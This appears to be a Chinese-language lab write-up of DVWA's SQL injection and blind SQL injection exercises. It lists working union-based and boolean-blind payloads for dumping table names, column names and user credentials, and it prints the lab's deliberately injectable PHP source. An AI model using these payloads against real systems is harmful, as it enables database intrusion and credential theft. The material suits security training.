0x01 SQL Injection
测试过程:
-
判断注入点:给出一个id值1并加 ’ 进行测试,语句报错。
SELECT first_name, last_name FROM users WHERE user_id = '1'';
-
恒真查询:输入1’ or 1=1#,语句正常,报出相关信息。
SELECT first_name, last_name FROM users WHERE user_id = '1' or 1=1 #';
-
判断字段长度:输入
1' order by 2#
,返回2个字段值。
-
获取字段显示位:输入
1' union select 1,2#
-
获取数据库信息:输入
1' union select database(),version()#
其他信息:user():数据库用户、@@version_compile_os:操作系统、@@datadir:
数据库存储目录、version():版本信息、database():数据库名。
-
获取dvwa数据库中的表名:输入
1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#
-
获取users表中的列名:输入
1' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'#
- 导出users表中的数据:输入
1' union select 1,concat_ws('--',user,password) from users #
The End:源码分析
<?php
if( isset( $_REQUEST[ 'Submit' ] ) ) {
// Get input
$id = $_REQUEST[ 'id' ];
// Check database
$query = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
// Get results
while( $row = mysqli_fetch_assoc( $result ) ) {
// Get values
$first = $row["first_name"];
$last = $row["last_name"];
// Feedback for end user
echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
}
mysqli_close($GLOBALS["___mysqli_ston"]);
}
?>
以上代码所构造sql查询语句中的参数id,是从前端所提交到后端,代码中并没有对来自客户端提交的参数id进行合法性检查和过滤敏感字符等操作,很容易就能探测出SQL注入漏洞,然后进一步利用来获取数据库信息or其他操作权限。
0x02 SQL Injection(Blind)
SQL盲注测试思路:
- 基于布尔的盲注:可通过构造真or假判断条件(数据库各项信息取值的大小比较,如:字段长度、版本数值、字段名、字段名各组成部分在不同位置对应的字符ASCII码…),将构造的sql语句提交到服务器,然后根据服务器对不同的请求返回不同的页面结果(True、False);然后不断调整判断条件中的数值以逼近真实值,特别是需要关注响应从True<–>False发生变化的转折点。
- 基于时间的盲注:通过构造真or假判断条件的sql语句,且sql语句中根据需要联合使用sleep()函数一同向服务器发送请求,观察服务器响应结果是否会执行所设置时间的延迟响应,以此来判断所构造条件的真or假(若执行sleep延迟,则表示当前设置的判断条件为真);然后不断调整判断条件中的数值以逼近真实值,最终确定具体的数值大小or名称拼写。
- 基于报错的盲注:报错型注入是利用了MySQL的第8652号bug :Bug #8652 group by part of rand() returns duplicate key error来进行的盲注,使得MySQL由于函数的特性返回错误信息,进而我们可以显示我们想要的信息,从而达到注入的效果。主要内容:在使用group by 对一些rand()函数进行操作时会返回duplicate key 错误,而该错误将会披露一些关键信息。
测试过程:
-
判断注入点:恒真、恒假查询,得出存在注入点。
构造语句 返回信息 1’ and 1=1# User ID exists in the database. 1’ and 1=2# User ID is MISSING from the database. -
判断数据库名称长度:二分法、length()函数
1' and length(database())>10# //返回missing 1' and length(database())>5# //返回missing 1' and length(database())>3# //返回exists 1' and length(database())=4# //返回exists
-
猜解数据库字符串:ASCII码、substr()函数
1' and ascii(substr(database(),1,1))=100# //d 1' and ascii(substr(database(),2,1))=118# //v 1' and ascii(substr(database(),3,1))=119# //w 1' and ascii(substr(database(),4,1))=97# //a
-
判断数据库中表个数
1' and (select count(table_name) from information_schema.tables where table_schema=database())=2# //存在两张数据表
-
判断表名的长度
1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1))=9# //第一张表字符长度为9 1' and length(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1))=5# //第二张表字符长度为5
-
判断第二张表名字符串
1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))=117# //u 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1))=115# //s 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 2,1),2,1))=101# //e 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1),2,1))=114# //r 1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1),2,1))=115# //s
-
猜解表中字段数
1' and (select count(column_name) from information_schema.columns where table_schema=database() and table_name='users')=8# //users表中有8个字段
-
猜解表中字段名称
1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='user')=1# //存在字段user 1' and (select count(*) from information_schema.columns where table_schema=database() and table_name='users' and column_name='password')=1# //存在字段password
-
获取表中的字段值
1' and length(substr((select user from users limit 0,1),1))=5# //user字段中第一个字段值的字符长度为5 1' and length(substr((select password from users limit 0,1),1))=32# //password字段中第一个字段值的字符长度为32(md5加密)
依次猜解出部分值:
user password md5($password) admin password 5f4dcc3b5aa765d61d8327deb882cf99 admin123 123456 e10adc3949ba59abbe56e057f20f883e root root 63a9f0ea7bb98050796b649e85481845
The End:源码分析
<?php
if( isset( $_GET[ 'Submit' ] ) ) {
// Get input
$id = $_GET[ 'id' ];
// Check database
$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid ); // Removed 'or die' to suppress mysql errors
// Get results
$num = @mysqli_num_rows( $result ); // The '@' character suppresses errors
if( $num > 0 ) {
// Feedback for end user
echo '<pre>User ID exists in the database.</pre>';
}
else {
// User wasn't found, so the page wasn't!
header( $_SERVER[ 'SERVER_PROTOCOL' ] . ' 404 Not Found' );
// Feedback for end user
echo '<pre>User ID is MISSING from the database.</pre>';
}
((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res);
}
?>
以上代码所构造sql查询语句中的参数id,是从前端所提交到后端,代码中并没有对来自客户端提交的参数id进行合法性检查和过滤敏感字符等操作,但在查库时@了查询函数,屏蔽了查询函数执行后的出错信息。